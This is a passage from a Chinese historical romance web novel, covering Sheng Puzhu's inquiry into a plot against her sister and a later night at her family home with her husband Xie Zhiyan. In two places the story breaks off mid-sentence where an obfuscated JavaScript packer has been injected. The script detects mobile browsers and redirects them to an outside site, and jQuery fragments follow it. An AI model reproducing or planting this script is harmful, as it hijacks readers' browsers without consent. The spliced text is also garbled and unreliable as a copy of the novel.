“奴婢……奴婢那日,是梅园一个负责茶水的姐姐,她吃坏了肚子,找奴婢替她当差。”
“让人把吃坏肚子的也叫来问话。”长宁郡主明显是被气到。
没一会儿,嬷嬷就被人带来了。
一番审问下来,结果真如刚才说的,是吃坏了肚子,找刘姨娘身边的婢女替了半日差事。
这一处算计可谓是环环相扣,连半点证据都抓不住,事情做得滴水不漏。
“那就把刘姨娘叫来问话!”长宁郡主正要让人去喊,被盛菩珠拦下了。
“郡主,不必了,想必是问不出来什么。”
长宁郡主眼里是不解。
盛菩珠笑了一下:“你先让她们先退下,我有话与郡主说。”
“不知盛家大姐姐要说什么?”
“郡主可清楚那日带了烟火在梅园放的郎君是谁?”盛菩珠缓了声音。
长宁郡主想了一会儿:“我没记错的话,应该是长兴侯世子带来的。”
“对了!”
她一拍脑袋,激动道:“我本没有留心的,但有个小娘子一直缠着长兴侯世子要他亲自放烟火,场间有知道他早早定了亲事的郎君,还调侃了几句。”
“当时长兴侯世子说那女郎是家中的妹妹。”
“我瞧着面生,可长兴侯府姬妾众多,想必是哪个姨娘生小娘子被他一同带来赏梅,于是就没放在心上。”
长兴侯世子?
家中的妹妹?
盛菩珠心底发寒,因为长兴侯府虽然姬妾众多,但这位世子他除了上头几
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740117|174125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个姐姐外,哪里来的妹妹。
长兴侯夫人自从生下嫡子,下头姨娘肚子里就再也没能生出一个活的孩子,这事她还是无意间从祖母口中得知的。
想到这里,盛菩珠朝众人屈膝行礼:“今日多有唐突,打扰郡主休息,也劳烦长公主娘娘和宋小娘子陪我跑这一趟。”
她把情绪控制得很好,眼尾带着一点温和从容的笑,像是什么事情都没有发生过一样。
长宁郡主摇摇头:“是我没有管好家中下人,让明淑受了委屈。”
宋竹宜慌忙回礼,自责道:“那日是我粗心大意,明淑姐姐是为了救我,后面才会不小心掉湖里的。”
盛菩珠离开前,忽然转身看向长宁郡主:“不知……府上刘姨娘祖籍是哪里人?”
长宁郡主发懵,幸好她身边的嬷嬷知道得多:“回世子夫人,刘姨娘祖籍益州,六年前被王爷纳进府中。”
“嗯,我知道了。”
盛菩珠回去的时候,盛明淑刚睡醒不久。
“大姐姐。”她有些紧张坐起身。
盛菩珠蜷了一下冰冷的指尖,轻声道:“你无须担心,事情很快就会解决好。”
盛明淑咬着唇,重重地点头:“姐姐查到是何人了?”
“明淑我问你。”
“若要退婚你能接受吗?”
盛菩珠抬起眼睛,用很沉的目光看她。
盛明淑撑在身侧的手一僵,她似乎也猜到几分,努力收住眼泪,颤着声音点头。
“若真的那样,我没什么不能的。”
“那好,你可知长兴侯夫人祖籍哪里?”盛菩珠倚着床沿坐下。
“我听祖母说过,好像是益州人。”
“益州刘氏?”盛菩珠冷笑。
“是。”盛明淑乌黑的眼睫垂下,声音闷闷低不可闻。
“那退婚吧。”
“长兴侯府世子,并不是什么良人。”盛菩珠伸手,冰冷的手指抬起盛明淑的下巴,她很认真看着她,语气很淡。
因为骑马奔波的缘故,脸颊被风吹得通红,像是胭脂,又像映在湖面上的烟霞:“我们提出退婚,是你踹了长兴侯世子。”
“至于证据,我会给你找到。”
盛菩珠斩钉截铁道。
*
入夜,明德侯府灯火辉煌。
一家子人,除了依旧下不得床的盛明淑外,就连盛菩珠的母亲,盛家寡居的大夫人苏氏都来了。
因为人多,所以分了两桌,只用一扇紫檀木镶嵌贝壳花卉四条屏风。
男桌那边酒过三巡,盛菩珠已经??捧着一碗酥山,吃了个半饱。
她捏着银匙,余光瞥见祖父再次给谢执砚斟满了酒,白玉瓷杯压着他薄薄的唇,酒液晃出柔美的琥珀色,他修长指节扣着杯底,微微仰起头,喉结随着饮酒的上下滚动。
盛菩珠看得心惊,她祖父酒量不说,家中还有两个同样喝酒厉害的哥哥。
今夜宴饮的酒水,还是祖父私藏在地窖中的郢州春。
年份久远不说,更是难得的烈酒。
盛菩珠就看谢执砚如同饮水一杯接着一杯,直到把家中两个兄长喝得趴下。
他这样的性子,应该是不喜应酬的吧,今夜却是来者不拒。
就在这时候,男人漆黑的视线,越过屏风看向她,冷白脖颈上浮着一层淡淡的红,长睫半垂,明明看着依旧清明的眼睛,偏偏眼尾泛着酒意的红,就像雪地里升腾的焰火。
“老师,这杯敬您。”谢执砚转过身,乌发以墨冠高束,纹丝不乱,唯有腰间革带上玉佩撞出清脆的声响。
明德侯府老侯爷盛柏涯,曾是圣人登基前的老师,现又任为当朝太子太师,谢执砚之前在宫中作为太子伴读,他与太子相同,称其为师。
“执砚,你该换个称呼了。”盛柏涯笑着拍了拍谢执砚的肩膀。
谢执砚闻言,缄默重新斟了酒水,他双手平举:“祖父。”
“好好好。”盛柏涯一连说了三个好字,眼底显然也有了醉意。
三更梆子敲过三回,廊下灯笼裹在重重夜露中。
谢执砚扶着桌沿,单手支额:“再饮……学生怕是要失礼了。”
他抬手,掩唇轻咳,脚下步伐看似已有些踉跄。
盛柏涯大笑一声:“罢了罢了。”
“天黑路远,你既已同我家菩珠成婚,今夜便留在家中过夜。”
谢执砚扶着盛柏涯,昏黄灯影下,他弯了弯唇,眼中根本看不出丝毫醉态。
隔着一扇屏风,两人四目相对。
盛菩珠听得他低哑的嗓音,吐字缓而清晰,微挑的眼尾比平日多了几分色\欲。
“那学生。”
“恭敬不如从命。”
18. V前章
“菩珠,执砚醉了,你快些带他回去休息。”
盛老侯爷说完这话,就彻底醉倒,趴在桌上不省人事。
盛菩珠没由来心慌,她笑着站起身,嗓音徐徐:“那我让嬷嬷把东厢的客房收拾出来。”
盛老夫人闻言,嗔了她一眼:“傻孩子,那是你夫君。”
“哪有夫妻归家,还分房睡的道理。”
一旁的盛明雅还不忘朝她挤眉弄眼,用口型说:“大姐姐,夫妻恩爱。”
恩爱个屁啊!
盛菩珠目光幽幽投过去,瞪了盛明雅一眼,今天她真是搬起石头砸自己的脚,就不应该为了和盛明淑争那几句口头上的输赢,非得强调什么夫妻恩爱!
现在连家中妹妹都不忘拿这话来调侃她。
老夫人笑着拍了一下她的手,颇有深意说:“你这就带姑爷过去,别耽搁了。”
盛菩珠无言以对,目光隔着众人望过去。
男人双眸漆深,微晃的灯影落在他脸上,将素日清冷的轮廓浸得桀骜张扬,偏生他的唇,轻轻抿着,覆着一层明晃晃的酒液,就像裹在蜜糖里的青梅,甜的滋味只是表象,一口咬下去,酸的刺激,能叫人当场失了魂。
盛菩珠不禁想到他不就是如糖渍的青梅一般,斯文清隽的君子皮相只是他的伪装,与之截然相反的巨大,才是他的本质。
不只是叫她失魂,还能一下就要她半条小命。
瞳仁猛缩,仓促收回目光,她在长辈们善意的笑声中,柔软的掌心慢慢搀扶住谢执砚的手臂,柔声道:“郎君,妾身扶您。”
“有劳夫人。”谢执砚闻言垂眸,暗色眼瞳中仿佛藏了异样的情绪,因为酒意催发,稍显端倪。
*
廊下灯笼被风吹得左右摇摆,落下满地碎影。
盛菩珠引着谢执砚穿过重重院落,两人拉长的影子渐渐重合,袖摆偶尔紧贴,又不经意分开,从影子上看,倒像是两尾追逐嬉戏的鱼儿。
两人谁也没有说话,直到穿过垂花门,走进盛菩珠出阁前住的小院。
哪怕是冬日,也依旧花团锦簇的院子,能明显看出来,就算她已离家少归,小院依旧被人用心打理。
牌匾上“珍宝阁”三字落于谢执砚眼中。
盛菩珠顺着男人微抬的视线往上看,忽然弯起嘴角笑了笑。
“这座小院,是我阿耶取的。”
谢执砚慢慢垂下眼睛,两人目光交错在一起。
盛菩珠看着珍宝阁内熟悉的一草一木,她似乎很愿意说起过去的事,用带着怀念的声音道:“我阿耶成婚晚,是在而立之年才娶了阿娘为妻。”
“后来我出生。”
“我阿耶总说我是他的第一个孩子,难免要养得珍重些,事事亲力亲为。”
“所以这处院子,是阿耶费尽心思设计的,按照四季的花序,年年岁岁花开不败。”
“所以它叫——珍宝阁。”
谢执砚不知在什么时候俯下身,他目光过于幽静,像是一泓无边的湖,带着些许酒香的气息落下,悄无声息拂过她的脸颊。
“所以……”
他声音一顿,无声的审视里,像是在确定什么。
“夫人是被阿耶藏在珍宝阁里。”
“唯一的珍宝。”
“对吗?”
盛菩珠脸颊轰地烧起来,比园子里山茶更艳的唇微微张开,眼睫轻颤,不敢看他。
“你醉了?”她偏过头,良久才问。
谢执砚也不说话,只是抬起手,冰凉的指腹捏住她的小巧的下颌,稍稍用力,迫使她不得不仰起头。
“我醉了吗?”他哑声问。
盛菩珠心头一跳,强自镇定说:“应该是醉了吧。”
她抬起的眼睛,撞进他幽暗的瞳孔中,距离太近,能闻到他身上淡淡的酒香,几乎将她笼罩,避无可避。
“小厨房里温着醒酒汤,我让人给你送来?”盛菩珠竭力稳住心神,她竟十分荒诞觉得,他是不是想吻她。
直到许久,谢执砚松开了手,他不知是不是因为醉酒的缘故,素来克制的眉眼酝着不曾有过的松懈,深邃的五官看着比任何时候都要锋利一些。
他就这么盯着她,清冷直白的视线,一寸寸描摹过她的眉眼,眸子漆黑,像是要用眼神把她一点点剥开,然后吃掉。
直到盛菩珠沁着薄汗的掌心,推开了久未踏足的闺房。
苏合香混着园子里山茶的幽雅,酝出近乎醉人的馥郁,从紧闭的门扉里涌出来,无声把人浸透。
这熟悉的甜香。
谢执砚若有所思。
其实从玉门关回来,他就一直被这种若有若无的细腻甜香围裹,如同某种宣誓,让他曾经熟悉的韫玉堂变得陌生,而眼下珍宝阁里的香,恰恰相反,宣誓变成了沉默的占有。
这里明明是他从未踏足过的地方,可就因为这熟悉的味道,一切都变得似曾相识。
“我去沐浴。”谢执砚脚步微顿,他应该是要朝里走,但又想突然想起来,这不是韫玉堂。
盛菩珠见他可能是真的醉了,暗自松了口气。
她收敛心神直接跨了进去,回身朝他笑了一下:“浴室在里间,郎君随我来。”
“好。”谢执砚颔首,一如既往地平静。
盛菩珠不时转头看他一眼,心里无端感到紧张,她不太能抓住这种怪异的感觉,就像是蛰伏地被猛兽盯上,她不知道会在什么时候,被锋利的獠牙咬穿脖颈。
浴室里,早早就备好热水和衣裳,推门进去的瞬间热气蒸腾模糊了两人的视线。
盛菩珠站在浴桶前,用指尖试了试温度,正欲转身,就听到身后忽然传来衣裳坠地的簌簌声。
“你干……”
嘛?
她话还没说完,余光就看到灯光下男人身上流畅的肌肉线条,劲瘦的窄腰,腰窝深陷蓄满了力量,起伏像山脊一样的肌理最终没入雪白垮裤之下。
这对吗?
她还没出去呢。
不至于吧。
“郎君怎么就脱了?”盛菩珠含糊问。
谢执砚抬眼望过去,怀疑似的蹙了蹙眉,声音淡淡:“沐浴除衣,这是礼数。”
礼数?
问题是!浴间里还有一个小女郎没有出去啊。
已经醉成能把她当成空气的程度了吗?
盛菩珠茫然抬起头,视线来回转了一圈,重新落在男人绝美的身材上。
她内心夸赞着,又觉得害羞一般拿手捂住眼睛,悄悄从指缝里偷看,脚下生了根,没有一点要出去的意思。
氤氲水雾,烛火昏朦。
谢执砚一步跨进浴桶内,溅起的水珠从他发梢滴落,顺着紧绷的背脊肌肤滑下。
“夫人。”
“嗯?”盛菩珠移开一只手。
谢执砚坦然和她对视:“你也要沐浴?”
他眼中还透着不解。
盛菩珠吓得浑身一抖,连忙朝他摇头:“不不不,我这院子里还有别的浴间,郎君不必如此客气。”
谢执砚微抬下巴,显得有些冷漠说:“那夫人还是出去吧,非礼勿视,非礼勿听。”
“夫人既不沐浴,那就不是君子所为。”
“我这就走。”盛菩珠别过脸,双颊滚烫像烧着火。
她暗暗懊恼,就不应该心存侥幸,以为他醉酒可以为所欲为。
心里想着事,难免心虚,直到沐浴完头发绞干,盛菩珠双颊的红润还没有消下去,她深吸一口气,走进里间。
谢执砚正襟危坐在她平日练字的案前,指节扣着茶盏,眸色清明,根本看不出半分醉态。
“郎君?”盛菩珠格外忐忑,试探喊了一声。
谢执砚抬眸,清冽目光落在她微红的脸颊上。
“夫人想说什么?”
到底醉没醉,刚才她偷看他,还记不记得。
盛菩珠站在离他足够远的地方:“郎君清醒了吗?”
谢执砚没有说话,冷白的指尖轻轻叩了叩桌案,上面放着一个空了的白瓷碗。
哦。
已经喝过醒酒汤了,那应该是清醒了,希望他不要记得她之前的莽撞,毕竟醉酒忘事人之常情,希望他也如此。
想到这,盛菩珠暗暗松一口气:“那……那妾身该睡觉了。”
她说完,轻手轻脚朝里间走,帐子还未放下,就看到男人站起来,一步步朝她逼近。
“夫人。”
“还看吗?”
谢执砚俯下身,两人离得格外近,他微
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740118|174125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
潮的鬓角,身上刚沐浴后的皂香,连微微滚动的喉结,都毫无保留呈现在她眼前。
“看?”
“看什么?”盛菩珠身体轻轻一抖,虽然已经有了不好的预感,但睁圆眼睛还是透着不可思议的吃惊。
他指尖搭在衣裳系带上,还透着水汽的手指微微用力,柔软的布料如流水般落在地上,他手中动作慢得近乎一种折磨,偏生那双眼睛一瞬不瞬盯着她。
“夫人不是爱看吗?”谢执砚唇角忽而一勾,声音低沉问。
盛菩珠恨不得把头摇成拨浪鼓,着急忙慌解释道:“郎君误会了。”
“我那怎么能叫偷看呢,我是因为担心郎君醉酒在浴间摔了,所以才特地留下来的。”
“真是这样?”谢执砚抿住唇,目光变得有些玩味。
“是啊。”
“天地良心,妾对郎君的关怀,天地可鉴,日月可表。”
“纯粹是因为关心则乱。”
盛菩珠跪坐在床上,双手紧张撑着膝盖,还用上了娇滴滴的语调。
“既然如此。”
谢执砚微微颔首,一字一句说:“那我也不能埋没夫人的一番苦心。”
“我自成婚以来,疏于自省,敦伦一事多有懈怠。”
“本该早早补偿夫人,但又因为顾虑夫人身子未好,不敢莽撞。”
盛菩珠瞳孔地震,绞尽脑汁道:“郎君不必自省,自从郎君归家,与我相敬如宾已经是夫妻恩爱的表现。”
“郎君有这份心,妾身已经是感天动地。”
“不必……不必刻意补偿。”
她说到最后,声音都在发抖。
两人之间,一坐一站。
谢执砚看似文雅内敛,实则却是居高临下,说一不二。
他一点点压近她,乌眸微眯,格外郑重道:“距离上次云雨,已过去足足三日。”
“夫人伤好,我若懈怠,那就是婚后冷落妻子,犯了谢氏的族规。”
荒唐!族规是这样用的?
盛菩珠身子抖了一下,她觉得自己应该解释什么,然而就算给她一百张嘴,她还是说不过他啊。
“难道夫人不愿?”谢执砚忽然冷了声音,字字清晰,态度比朝堂议事还要郑重。
“怎么会,只是现在是在我出嫁前的闺阁,不太合适吧。”盛菩珠有点慌,干笑一声。
这并不是愿不愿的问题,实在是她身体太小,根本容纳不下他的一切。
她怕被他毫无保留的力气,直接撞死在床上,更何况明天她还要出门,还有大事要办。
不行不行。
一想到恐怕要起不得床,盛菩珠内心就直摇头。
“闺房不是道观,没有不合适。”
“何况你我已经成亲,既是夫妻。”
“ 夫妻之义,夜以继日,理所应当。”
谢执砚抬手,宽大的手掌盖住那双微闪,波光潋滟的杏眼。
紧接着,盛菩珠只是感觉被东西绊了一下,接着就是天旋地转。
床榻垂落的纱像是浴室还未散尽的雾,她倒在一团柔软的云里,屋里的灯已经灭了,无尽的黑暗将她吞噬。
盛菩珠眨了眨眼睛,她的后颈被人托起,薄茧压在她娇嫩肌肤上,泛起一阵酥麻的痒。
然后她就听到,谢执砚用冷而克制的声音,很认真问:“一夜七次,夫人能否接受?”
七次?
什么七次?
盛菩珠简直不敢相信自己听到的。
老天爷!他的酒到底醒没醒啊,究竟是哪个丧心病狂告诉他,一夜可以七次的。
好在这个问题根本不用她回答,就听到谢执砚自己叹了声。
“我知夫人体力不佳,恐怕难以支撑七次。”
“夫人不必心急,时日久了,总会慢慢适应。”
盛菩珠气得想要咬死他。
但她怎么也没料到,最先咬下来的,居然是男人微张的唇。
克制,规矩。
更像照本宣科,按部就班的试探。
他一点点从那被迫仰起的脖颈摩挲过,激得那雪白的肌肤倏地紧绷,因过于突然,喉咙里发出如猫儿短促的呜咽。
“谢执砚。”
“你、唔……”